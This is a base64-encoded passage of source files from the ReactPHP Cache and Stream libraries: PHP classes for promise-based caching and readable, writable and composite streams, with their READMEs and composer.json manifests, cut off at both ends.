jIGZ1bmN0aW9uIGdldCgka2V5KTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRrZXksICR2YWx1ZSk7CgogICAgcHVibGljIGZ1bmN0aW9uIHJlbW92ZSgka2V5KTsKfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XENhY2hlOwoKdXNlIFJlYWN0XFByb21pc2VcV2hlbjsKCmNsYXNzIEFycmF5Q2FjaGUgaW1wbGVtZW50cyBDYWNoZUludGVyZmFjZQp7CiAgICBwcml2YXRlICRkYXRhID0gYXJyYXkoKTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0KCRrZXkpCiAgICB7CiAgICAgICAgaWYgKCFpc3NldCgkdGhpcy0+ZGF0YVska2V5XSkpIHsKICAgICAgICAgICAgcmV0dXJuIFdoZW46OnJlamVjdCgpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIFdoZW46OnJlc29sdmUoJHRoaXMtPmRhdGFbJGtleV0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBzZXQoJGtleSwgJHZhbHVlKQogICAgewogICAgICAgICR0aGlzLT5kYXRhWyRrZXldID0gJHZhbHVlOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZW1vdmUoJGtleSkKICAgIHsKICAgICAgICB1bnNldCgkdGhpcy0+ZGF0YVska2V5XSk7CiAgICB9Cn0KIyBDYWNoZSBDb21wb25lbnQKClByb21pc2VkIGNhY2hlIGludGVyZmFjZS4KClRoZSBjYWNoZSBjb21wb25lbnQgcHJvdmlkZXMgYSBwcm9taXNlLWJhc2VkIGNhY2hlIGludGVyZmFjZSBhbmQgYW4gaW4tbWVtb3J5CmBBcnJheUNhY2hlYCBpbXBsZW1lbnRhdGlvbiBvZiB0aGF0LiBUaGlzIGFsbG93cyBjb25zdW1lcnMgdG8gdHlwZSBoaW50CmFnYWluc3QgdGhlIGludGVyZmFjZSBhbmQgdGhpcmQgcGFydGllcyB0byBwcm92aWRlIGFsdGVybmF0ZSBpbXBsZW1lbnRhdGlvbnMuCgojIyBCYXNpYyB1c2FnZQoKIyMjIGdldAoKICAgICRjYWNoZQogICAgICAgIC0+Z2V0KCdmb28nKQogICAgICAgIC0+dGhlbigndmFyX2R1bXAnKTsKClRoaXMgZXhhbXBsZSBmZXRjaGVzIHRoZSB2YWx1ZSBvZiB0aGUga2V5IGBmb29gIGFuZCBwYXNzZXMgaXQgdG8gdGhlCmB2YXJfZHVtcGAgZnVuY3Rpb24uIFlvdSBjYW4gdXNlIGFueSBvZiB0aGUgY29tcG9zaXRpb24gcHJvdmlkZWQgYnkKW3Byb21pc2VzXShodHRwczovL2dpdGh1Yi5jb20vcmVhY3RwaHAvcHJvbWlzZSkuCgpJZiB0aGUga2V5IGBmb29gIGRvZXMgbm90IGV4aXN0LCB0aGUgcHJvbWlzZSB3aWxsIGJlIHJlamVjdGVkLgoKIyMjIHNldAoKICAgICRjYWNoZS0+c2V0KCdmb28nLCAnYmFyJyk7CgpUaGlzIGV4YW1wbGUgZXZlbnR1YWxseSBzZXRzIHRoZSB2YWx1ZSBvZiB0aGUga2V5IGBmb29gIHRvIGBiYXJgLiBJZiBpdAphbHJlYWR5IGV4aXN0cywgaXQgaXMgb3ZlcnJpZGRlbi4gTm8gZ3VhcmFudGVlcyBhcmUgbWFkZSBhcyB0byB3aGVuIHRoZSBjYWNoZQp2YWx1ZSBpcyBzZXQuIElmIHRoZSBjYWNoZSBpbXBsZW1lbnRhdGlvbiBoYXMgdG8gZ28gb3ZlciB0aGUgbmV0d29yayB0byBzdG9yZQppdCwgaXQgbWF5IHRha2UgYSB3aGlsZS4KCiMjIyByZW1vdmUKCiAgICAkY2FjaGUtPnJlbW92ZSgnZm9vJyk7CgpUaGlzIGV4YW1wbGUgZXZlbnR1YWxseSByZW1vdmVzIHRoZSBrZXkgYGZvb2AgZnJvbSB0aGUgY2FjaGUuIEFzIHdpdGggYHNldGAsCnRoaXMgbWF5IG5vdCBoYXBwZW4gaW5zdGFudGx5LgoKIyMgQ29tbW9uIHVzYWdlCgojIyMgRmFsbGJhY2sgZ2V0CgpBIGNvbW1vbiB1c2UgY2FzZSBvZiBjYWNoZXMgaXMgdG8gYXR0ZW1wdCBmZXRjaGluZyBhIGNhY2hlZCB2YWx1ZSBhbmQgYXMgYQpmYWxsYmFjayByZXRyaWV2ZSBpdCBmcm9tIHRoZSBvcmlnaW5hbCBkYXRhIHNvdXJjZSBpZiBub3QgZm91bmQuIEhlcmUgaXMgYW4KZXhhbXBsZSBvZiB0aGF0OgoKICAgICRjYWNoZQogICAgICAgIC0+Z2V0KCdmb28nKQogICAgICAgIC0+dGhlbihudWxsLCAnZ2V0Rm9vRnJvbURiJykKICAgICAgICAtPnRoZW4oJ3Zhcl9kdW1wJyk7CgpGaXJzdCBhbiBhdHRlbXB0IGlzIG1hZGUgdG8gcmV0cmlldmUgdGhlIHZhbHVlIG9mIGBmb29gLiBBIHByb21pc2UgcmVqZWN0aW9uCmhhbmRsZXIgb2YgdGhlIGZ1bmN0aW9uIGBnZXRGb29Gcm9tRGJgIGlzIHJlZ2lzdGVyZWQuIGBnZXRGb29Gcm9tRGJgIGlzIGEKZnVuY3Rpb24gKGNhbiBiZSBhbnkgUEhQIGNhbGxhYmxlKSB0aGF0IHdpbGwgYmUgY2FsbGVkIGlmIHRoZSBrZXkgZG9lcyBub3QKZXhpc3QgaW4gdGhlIGNhY2hlLgoKYGdldEZvb0Zyb21EYmAgY2FuIGhhbmRsZSB0aGUgbWlzc2luZyBrZXkgYnkgcmV0dXJuaW5nIGEgcHJvbWlzZSBmb3IgdGhlCmFjdHVhbCB2YWx1ZSBmcm9tIHRoZSBkYXRhYmFzZSAob3IgYW55IG90aGVyIGRhdGEgc291cmNlKS4gQXMgYSByZXN1bHQsIHRoaXMKY2hhaW4gd2lsbCBjb3JyZWN0bHkgZmFsbCBiYWNrLCBhbmQgcHJvdmlkZSB0aGUgdmFsdWUgaW4gYm90aCBjYXNlcy4KCiMjIyBGYWxsYmFjayBnZXQgYW5kIHNldAoKVG8gZXhwYW5kIG9uIHRoZSBmYWxsYmFjayBnZXQgZXhhbXBsZSwgb2Z0ZW4geW91IHdhbnQgdG8gc2V0IHRoZSB2YWx1ZSBvbiB0aGUKY2FjaGUgYWZ0ZXIgZmV0Y2hpbmcgaXQgZnJvbSB0aGUgZGF0YSBzb3VyY2UuCgogICAgJGNhY2hlCiAgICAgICAgLT5nZXQoJ2ZvbycpCiAgICAgICAgLT50aGVuKG51bGwsIGFycmF5KCR0aGlzLCAnZ2V0QW5kQ2FjaGVGb29Gcm9tRGInKSkKICAgICAgICAtPnRoZW4oJ3Zhcl9kdW1wJyk7CgogICAgcHVibGljIGZ1bmN0aW9uIGdldEFuZENhY2hlRm9vRnJvbURiKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmRiCiAgICAgICAgICAgIC0+Z2V0KCdmb28nKQogICAgICAgICAgICAtPnRoZW4oYXJyYXkoJHRoaXMsICdjYWNoZUZvb0Zyb21EYicpKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY2FjaGVGb29Gcm9tRGIoJGZvbykKICAgIHsKICAgICAgICAkdGhpcy0+Y2FjaGUtPnNldCgnZm9vJywgJGZvbyk7CgogICAgICAgIHJldHVybiAkZm9vOwogICAgfQoKQnkgdXNpbmcgY2hhaW5pbmcgeW91IGNhbiBlYXNpbHkgY29uZGl0aW9uYWxseSBjYWNoZSB0aGUgdmFsdWUgaWYgaXQgaXMKZmV0Y2hlZCBmcm9tIHRoZSBkYXRhYmFzZS4KewogICAgIm5hbWUiOiAicmVhY3QvY2FjaGUiLAogICAgImRlc2NyaXB0aW9uIjogIkFzeW5jIGNhY2hpbmcuIiwKICAgICJrZXl3b3JkcyI6IFsiY2FjaGUiXSwKICAgICJsaWNlbnNlIjogIk1JVCIsCiAgICAicmVxdWlyZSI6IHsKICAgICAgICAicGhwIjogIj49NS4zLjIiLAogICAgICAgICJyZWFjdC9wcm9taXNlIjogIn4xLjAiCiAgICB9LAogICAgImF1dG9sb2FkIjogewogICAgICAgICJwc3ItMCI6IHsgIlJlYWN0XFxDYWNoZSI6ICIiIH0KICAgIH0sCiAgICAidGFyZ2V0LWRpciI6ICJSZWFjdC9DYWNoZSIsCiAgICAiZXh0cmEiOiB7CiAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMC4zLWRldiIKICAgICAgICB9CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxTdHJlYW07Cgp1c2UgRXZlbmVtZW50XEV2ZW50RW1pdHRlcjsKCmNsYXNzIFdyaXRhYmxlU3RyZWFtIGV4dGVuZHMgRXZlbnRFbWl0dGVyIGltcGxlbWVudHMgV3JpdGFibGVTdHJlYW1JbnRlcmZhY2UKewogICAgcHJvdGVjdGVkICRjbG9zZWQgPSBmYWxzZTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gd3JpdGUoJGRhdGEpCiAgICB7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGVuZCgkZGF0YSA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKG51bGwgIT09ICRkYXRhKSB7CiAgICAgICAgICAgICR0aGlzLT53cml0ZSgkZGF0YSk7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+Y2xvc2UoKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNXcml0YWJsZSgpCiAgICB7CiAgICAgICAgcmV0dXJuICEkdGhpcy0+Y2xvc2VkOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBjbG9zZSgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5jbG9zZWQpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPmNsb3NlZCA9IHRydWU7CiAgICAgICAgJHRoaXMtPmVtaXQoJ2VuZCcsIGFycmF5KCR0aGlzKSk7CiAgICAgICAgJHRoaXMtPmVtaXQoJ2Nsb3NlJywgYXJyYXkoJHRoaXMpKTsKICAgICAgICAkdGhpcy0+cmVtb3ZlQWxsTGlzdGVuZXJzKCk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxTdHJlYW07Cgp1c2UgRXZlbmVtZW50XEV2ZW50RW1pdHRlcjsKCmNsYXNzIENvbXBvc2l0ZVN0cmVhbSBleHRlbmRzIEV2ZW50RW1pdHRlciBpbXBsZW1lbnRzIFJlYWRhYmxlU3RyZWFtSW50ZXJmYWNlLCBXcml0YWJsZVN0cmVhbUludGVyZmFjZQp7CiAgICBwcm90ZWN0ZWQgJHJlYWRhYmxlOwogICAgcHJvdGVjdGVkICR3cml0YWJsZTsKICAgIHByb3RlY3RlZCAkcGlwZVNvdXJjZTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoUmVhZGFibGVTdHJlYW1JbnRlcmZhY2UgJHJlYWRhYmxlLCBXcml0YWJsZVN0cmVhbUludGVyZmFjZSAkd3JpdGFibGUpCiAgICB7CiAgICAgICAgJHRoaXMtPnJlYWRhYmxlID0gJHJlYWRhYmxlOwogICAgICAgICR0aGlzLT53cml0YWJsZSA9ICR3cml0YWJsZTsKCiAgICAgICAgVXRpbDo6Zm9yd2FyZEV2ZW50cygkdGhpcy0+cmVhZGFibGUsICR0aGlzLCBhcnJheSgnZGF0YScsICdlbmQnLCAnZXJyb3InLCAnY2xvc2UnKSk7CiAgICAgICAgVXRpbDo6Zm9yd2FyZEV2ZW50cygkdGhpcy0+d3JpdGFibGUsICR0aGlzLCBhcnJheSgnZHJhaW4nLCAnZXJyb3InLCAnY2xvc2UnLCAncGlwZScpKTsKCiAgICAgICAgJHRoaXMtPnJlYWRhYmxlLT5vbignY2xvc2UnLCBhcnJheSgkdGhpcywgJ2Nsb3NlJykpOwogICAgICAgICR0aGlzLT53cml0YWJsZS0+b24oJ2Nsb3NlJywgYXJyYXkoJHRoaXMsICdjbG9zZScpKTsKCiAgICAgICAgJHRoaXMtPm9uKCdwaXBlJywgYXJyYXkoJHRoaXMsICdoYW5kbGVQaXBlRXZlbnQnKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGhhbmRsZVBpcGVFdmVudCgkc291cmNlKQogICAgewogICAgICAgICR0aGlzLT5waXBlU291cmNlID0gJHNvdXJjZTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNSZWFkYWJsZSgpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5yZWFkYWJsZS0+aXNSZWFkYWJsZSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwYXVzZSgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5waXBlU291cmNlKSB7CiAgICAgICAgICAgICR0aGlzLT5waXBlU291cmNlLT5wYXVzZSgpOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnJlYWRhYmxlLT5wYXVzZSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiByZXN1bWUoKQogICAgewogICAgICAgIGlmICgkdGhpcy0+cGlwZVNvdXJjZSkgewogICAgICAgICAgICAkdGhpcy0+cGlwZVNvdXJjZS0+cmVzdW1lKCk7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+cmVhZGFibGUtPnJlc3VtZSgpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwaXBlKFdyaXRhYmxlU3RyZWFtSW50ZXJmYWNlICRkZXN0LCBhcnJheSAkb3B0aW9ucyA9IGFycmF5KCkpCiAgICB7CiAgICAgICAgVXRpbDo6cGlwZSgkdGhpcywgJGRlc3QsICRvcHRpb25zKTsKCiAgICAgICAgcmV0dXJuICRkZXN0OwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBpc1dyaXRhYmxlKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPndyaXRhYmxlLT5pc1dyaXRhYmxlKCk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHdyaXRlKCRkYXRhKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+d3JpdGFibGUtPndyaXRlKCRkYXRhKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gZW5kKCRkYXRhID0gbnVsbCkKICAgIHsKICAgICAgICAkdGhpcy0+d3JpdGFibGUtPmVuZCgkZGF0YSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNsb3NlKCkKICAgIHsKICAgICAgICAkdGhpcy0+cGlwZVNvdXJjZSA9IHRydWU7CgogICAgICAgICR0aGlzLT5yZWFkYWJsZS0+Y2xvc2UoKTsKICAgICAgICAkdGhpcy0+d3JpdGFibGUtPmNsb3NlKCk7CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxTdHJlYW07Cgp1c2UgRXZlbmVtZW50XEV2ZW50RW1pdHRlcjsKCmNsYXNzIFJlYWRhYmxlU3RyZWFtIGV4dGVuZHMgRXZlbnRFbWl0dGVyIGltcGxlbWVudHMgUmVhZGFibGVTdHJlYW1JbnRlcmZhY2UKewogICAgcHJvdGVjdGVkICRjbG9zZWQgPSBmYWxzZTsKCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNSZWFkYWJsZSgpCiAgICB7CiAgICAgICAgcmV0dXJuICEkdGhpcy0+Y2xvc2VkOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwYXVzZSgpCiAgICB7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHJlc3VtZSgpCiAgICB7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHBpcGUoV3JpdGFibGVTdHJlYW1JbnRlcmZhY2UgJGRlc3QsIGFycmF5ICRvcHRpb25zID0gYXJyYXkoKSkKICAgIHsKICAgICAgICBVdGlsOjpwaXBlKCR0aGlzLCAkZGVzdCwgJG9wdGlvbnMpOwoKICAgICAgICByZXR1cm4gJGRlc3Q7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNsb3NlKCkKICAgIHsKICAgICAgICBpZiAoJHRoaXMtPmNsb3NlZCkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+Y2xvc2VkID0gdHJ1ZTsKICAgICAgICAkdGhpcy0+ZW1pdCgnZW5kJywgYXJyYXkoJHRoaXMpKTsKICAgICAgICAkdGhpcy0+ZW1pdCgnY2xvc2UnLCBhcnJheSgkdGhpcykpOwogICAgICAgICR0aGlzLT5yZW1vdmVBbGxMaXN0ZW5lcnMoKTsKICAgIH0KfQo8P3BocAoKbmFtZXNwYWNlIFJlYWN0XFN0cmVhbTsKCmNsYXNzIFRocm91Z2hTdHJlYW0gZXh0ZW5kcyBDb21wb3NpdGVTdHJlYW0KewogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkKICAgIHsKICAgICAgICAkcmVhZGFibGUgPSBuZXcgUmVhZGFibGVTdHJlYW0oKTsKICAgICAgICAkd3JpdGFibGUgPSBuZXcgV3JpdGFibGVTdHJlYW0oKTsKCiAgICAgICAgcGFyZW50OjpfX2NvbnN0cnVjdCgkcmVhZGFibGUsICR3cml0YWJsZSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGZpbHRlcigkZGF0YSkKICAgIHsKICAgICAgICByZXR1cm4gJGRhdGE7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHdyaXRlKCRkYXRhKQogICAgewogICAgICAgICR0aGlzLT5yZWFkYWJsZS0+ZW1pdCgnZGF0YScsIGFycmF5KCR0aGlzLT5maWx0ZXIoJGRhdGEpKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGVuZCgkZGF0YSA9IG51bGwpCiAgICB7CiAgICAgICAgaWYgKG51bGwgIT09ICRkYXRhKSB7CiAgICAgICAgICAgICR0aGlzLT5yZWFkYWJsZS0+ZW1pdCgnZGF0YScsIGFycmF5KCR0aGlzLT5maWx0ZXIoJGRhdGEpKSk7CiAgICAgICAgfQoKICAgICAgICAkdGhpcy0+d3JpdGFibGUtPmVuZCgkZGF0YSk7CiAgICB9Cn0KIyBTdHJlYW0gQ29tcG9uZW50CgpCYXNpYyByZWFkYWJsZSBhbmQgd3JpdGFibGUgc3RyZWFtIGludGVyZmFjZXMgdGhhdCBzdXBwb3J0IHBpcGluZy4KCkluIG9yZGVyIHRvIG1ha2UgdGhlIGV2ZW50IGxvb3AgZWFzaWVyIHRvIHVzZSwgdGhpcyBjb21wb25lbnQgaW50cm9kdWNlcyB0aGUKY29uY2VwdCBvZiBzdHJlYW1zLiBUaGV5IGFyZSB2ZXJ5IHNpbWlsYXIgdG8gdGhlIHN0cmVhbXMgZm91bmQgaW4gUEhQIGl0c2VsZiwKYnV0IGhhdmUgYW4gaW50ZXJmYWNlIG1vcmUgc3VpdGVkIGZvciBhc3luYyBJL08uCgpNYWlubHkgaXQgcHJvdmlkZXMgaW50ZXJmYWNlcyBmb3IgcmVhZGFibGUgYW5kIHdyaXRhYmxlIHN0cmVhbXMsIHBsdXMgYSBmaWxlCmRlc2NyaXB0b3IgYmFzZWQgaW1wbGVtZW50YXRpb24gd2l0aCBhbiBpbi1tZW1vcnkgd3JpdGUgYnVmZmVyLgoKVGhpcyBjb21wb25lbnQgZGVwZW5kcyBvbiBgw6l2w6luZW1lbnRgLCB3aGljaCBpcyBhbiBpbXBsZW1lbnRhdGlvbiBvZiB0aGUKYEV2ZW50RW1pdHRlcmAuCgojIyBSZWFkYWJsZSBTdHJlYW1zCgojIyMgRXZlbnRFbWl0dGVyIEV2ZW50cwoKKiBgZGF0YWA6IEVtaXR0ZWQgd2hlbmV2ZXIgZGF0YSB3YXMgcmVhZCBmcm9tIHRoZSBzb3VyY2UuCiogYGVuZGA6IEVtaXR0ZWQgd2hlbiB0aGUgc291cmNlIGhhcyByZWFjaGVkIHRoZSBgZW9mYC4KKiBgZXJyb3JgOiBFbWl0dGVkIHdoZW4gYW4gZXJyb3Igb2NjdXJzLgoqIGBjbG9zZWA6IEVtaXR0ZWQgd2hlbiB0aGUgY29ubmVjdGlvbiBpcyBjbG9zZWQuCgojIyMgTWV0aG9kcwoKKiBgaXNSZWFkYWJsZSgpYDogQ2hlY2sgaWYgdGhlIHN0cmVhbSBpcyBzdGlsbCBpbiBhIHN0YXRlIGFsbG93aW5nIGl0IHRvIGJlCiAgcmVhZCBmcm9tLiBJdCBiZWNvbWVzIHVucmVhZGFibGUgd2hlbiB0aGUgY29ubmVjdGlvbiBlbmRzLCBjbG9zZXMgb3IgYW4KICBlcnJvciBvY2N1cnMuCiogYHBhdXNlKClgOiBSZW1vdmUgdGhlIGRhdGEgc291cmNlIGZpbGUgZGVzY3JpcHRvciBmcm9tIHRoZSBldmVudCBsb29wLiBUaGlzCiAgYWxsb3dzIHlvdSB0byB0aHJvdHRsZSBpbmNvbWluZyBkYXRhLgoqIGByZXN1bWUoKWA6IFJlLWF0dGFjaCB0aGUgZGF0YSBzb3VyY2UgYWZ0ZXIgYSBgcGF1c2UoKWAuCiogYHBpcGUoV3JpdGFibGVTdHJlYW1JbnRlcmZhY2UgJGRlc3QsIGFycmF5ICRvcHRpb25zID0gW10pYDogUGlwZSB0aGlzCiAgcmVhZGFibGUgc3RyZWFtIGludG8gYSB3cml0YWJsZSBzdHJlYW0uIEF1dG9tYXRpY2FsbHkgc2VuZHMgYWxsIGluY29taW5nCiAgZGF0YSB0byB0aGUgZGVzdGluYXRpb24uIEF1dG9tYXRpY2FsbHkgdGhyb3R0bGVzIGJhc2VkIG9uIHdoYXQgdGhlCiAgZGVzdGluYXRpb24gY2FuIGhhbmRsZS4KCiMjIFdyaXRhYmxlIFN0cmVhbXMKCiMjIyBFdmVudEVtaXR0ZXIgRXZlbnRzCgoqIGBkcmFpbmA6IEVtaXR0ZWQgaWYgdGhlIHdyaXRlIGJ1ZmZlciBiZWNhbWUgZnVsbCBwcmV2aW91c2x5IGFuZCBpcyBub3cgcmVhZHkKICB0byBhY2NlcHQgbW9yZSBkYXRhLgoqIGBlcnJvcmA6IEVtaXR0ZWQgd2hlbmV2ZXIgYW4gZXJyb3Igb2NjdXJzLgoqIGBjbG9zZWA6IEVtaXR0ZWQgd2hlbmV2ZXIgdGhlIGNvbm5lY3Rpb24gaXMgY2xvc2VkLgoqIGBwaXBlYDogRW1pdHRlZCB3aGVuZXZlciBhIHJlYWRhYmxlIHN0cmVhbSBpcyBgcGlwZSgpYGQgaW50byB0aGlzIHN0cmVhbS4KCiMjIyBNZXRob2RzCgoqIGBpc1dyaXRhYmxlKClgOiBDaGVjayBpZiB0aGUgc3RyZWFtIGNhbiBzdGlsbCBiZSB3cml0dGVuIHRvLiBJdCBjYW5ub3QgYmUKICB3cml0dGVuIHRvIGFmdGVyIGFuIGVycm9yIG9yIHdoZW4gaXQgaXMgY2xvc2VkLgoqIGB3cml0ZSgkZGF0YSlgOiBXcml0ZSBzb21lIGRhdGEgaW50byB0aGUgc3RyZWFtLiBJZiB0aGUgc3RyZWFtIGNhbm5vdCBoYW5kbGUKICBpdCwgaXQgc2hvdWxkIGJ1ZmZlciB0aGUgZGF0YSBvciBlbWl0IGFuZCBgZXJyb3JgIGV2ZW50LiBJZiB0aGUgaW50ZXJuYWwKICBidWZmZXIgaXMgZnVsbCBhZnRlciBhZGRpbmcgYCRkYXRhYCwgYHdyaXRlYCBzaG91bGQgcmV0dXJuIGZhbHNlLCBpbmRpY2F0aW5nCiAgdGhhdCB0aGUgY2FsbGVyIHNob3VsZCBzdG9wIHNlbmRpbmcgZGF0YSB1bnRpbCB0aGUgYnVmZmVyIGBkcmFpbmBzLgoqIGBlbmQoJGRhdGEgPSBudWxsKWA6IE9wdGlvbmFsbHkgd3JpdGUgc29tZSBmaW5hbCBkYXRhIHRvIHRoZSBzdHJlYW0sIGVtcHR5CiAgdGhlIGJ1ZmZlciwgdGhlbiBjbG9zZSBpdC4KCiMjIFVzYWdlCgogICAgJGxvb3AgPSBSZWFjdFxFdmVudExvb3BcRmFjdG9yeTo6Y3JlYXRlKCk7CgogICAgJHNvdXJjZSA9IG5ldyBSZWFjdFxTdHJlYW1cU3RyZWFtKGZvcGVuKCdvbWcudHh0JywgJ3InKSwgJGxvb3ApOwogICAgJGRlc3QgPSBuZXcgUmVhY3RcU3RyZWFtXFN0cmVhbShmb3Blbignd3RmLnR4dCcsICd3JyksICRsb29wKTsKCiAgICAkc291cmNlLT5waXBlKCRkZXN0KTsKCiAgICAkbG9vcC0+cnVuKCk7Cjw/cGhwCgpuYW1lc3BhY2UgUmVhY3RcU3RyZWFtOwoKdXNlIFJlYWN0XFByb21pc2VcRGVmZXJyZWQ7CnVzZSBSZWFjdFxQcm9taXNlXFByb21pc29ySW50ZXJmYWNlOwp1c2UgUmVhY3RcU3RyZWFtXFdyaXRhYmxlU3RyZWFtOwoKY2xhc3MgQnVmZmVyZWRTaW5rIGV4dGVuZHMgV3JpdGFibGVTdHJlYW0gaW1wbGVtZW50cyBQcm9taXNvckludGVyZmFjZQp7CiAgICBwcml2YXRlICRidWZmZXIgPSAnJzsKICAgIHByaXZhdGUgJGRlZmVycmVkOwoKICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICB7CiAgICAgICAgJHRoaXMtPmRlZmVycmVkID0gbmV3IERlZmVycmVkKCk7CgogICAgICAgICR0aGlzLT5vbigncGlwZScsIGFycmF5KCR0aGlzLCAnaGFuZGxlUGlwZUV2ZW50JykpOwogICAgICAgICR0aGlzLT5vbignZXJyb3InLCBhcnJheSgkdGhpcywgJ2hhbmRsZUVycm9yRXZlbnQnKSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGhhbmRsZVBpcGVFdmVudCgkc291cmNlKQogICAgewogICAgICAgIFV0aWw6OmZvcndhcmRFdmVudHMoJHNvdXJjZSwgJHRoaXMsIGFycmF5KCdlcnJvcicpKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gaGFuZGxlRXJyb3JFdmVudCgkZSkKICAgIHsKICAgICAgICAkdGhpcy0+ZGVmZXJyZWQtPnJlamVjdCgkZSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHdyaXRlKCRkYXRhKQogICAgewogICAgICAgICR0aGlzLT5idWZmZXIgLj0gJGRhdGE7CiAgICAgICAgJHRoaXMtPmRlZmVycmVkLT5wcm9ncmVzcygkZGF0YSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGNsb3NlKCkKICAgIHsKICAgICAgICBpZiAoJHRoaXMtPmNsb3NlZCkgewogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBwYXJlbnQ6OmNsb3NlKCk7CiAgICAgICAgJHRoaXMtPmRlZmVycmVkLT5yZXNvbHZlKCR0aGlzLT5idWZmZXIpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwcm9taXNlKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmRlZmVycmVkLT5wcm9taXNlKCk7CiAgICB9CgogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBjcmVhdGVQcm9taXNlKFJlYWRhYmxlU3RyZWFtICRzdHJlYW0pCiAgICB7CiAgICAgICAgJHNpbmsgPSBuZXcgc3RhdGljKCk7CiAgICAgICAgJHN0cmVhbS0+cGlwZSgkc2luayk7CgogICAgICAgIHJldHVybiAkc2luay0+cHJvbWlzZSgpOwogICAgfQp9CnsKICAgICJuYW1lIjogInJlYWN0L3N0cmVhbSIsCiAgICAiZGVzY3JpcHRpb24iOiAiQmFzaWMgcmVhZGFibGUgYW5kIHdyaXRhYmxlIHN0cmVhbSBpbnRlcmZhY2VzIHRoYXQgc3VwcG9ydCBwaXBpbmcuIiwKICAgICJrZXl3b3JkcyI6IFsic3RyZWFtIiwgInBpcGUiXSwKICAgICJsaWNlbnNlIjogIk1JVCIsCiAgICAicmVxdWlyZSI6IHsKICAgICAgICAicGhwIjogIj49NS4zLjMiLAogICAgICAgICJldmVuZW1lbnQvZXZlbmVtZW50IjogIjEuMC4qIgogICAgfSwKICAgICJzdWdnZXN0IjogewogICAgICAgICJyZWFjdC9ldmVudC1sb29wIjogIjAuMy4qIiwKICAgICAgICAicmVhY3QvcHJvbWlzZSI6ICJ+MS4wIgogICAgfSwKICAgICJhdXRvbG9hZCI6IHsKICAgICAgICAicHNyLTAiOiB7ICJSZWFjdFxcU3RyZWFtIjogIiIgfQogICAgfSwKICAgICJ0YXJnZXQtZGlyIjogIlJlYWN0L1N0cmVhbSIsCiAgICAiZXh0cmEiOiB7CiAgICAgICAgImJyYW5jaC1hbGlhcyI6IHsKICAgICAgICAgICAgImRldi1tYXN0ZXIiOiAiMC4zLWRldiIKICAgICAgICB9CiAgICB9Cn0KPD9waHAKCm5hbWVzcGFjZSBSZWFjdFxTdHJlYW07CgovLyBUT0RPOiBtb3ZlIHRvIGEgdHJhaXQKCmNsYXNzIFV0aWwKewogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBwaXBlKFJlYWRhYmxlU3RyZWFtSW50ZXJmYWNlICRzb3VyY2UsIFdyaXRhYmxlU3RyZWFtSW50ZXJmYWNlICRkZXN0LCBhcnJheSAkb3B0aW9ucyA9IGFycmF5KCkpCiAgICB7CiAgICAgICAgLy8gVE9ETzogdXNlIHN0cmVhbV9jb3B5X3RvX3N0cmVhbQogICAgICAgIC8vIGl0IGlzIDR4IGZhc3RlciB0aGFuIHRoaXMK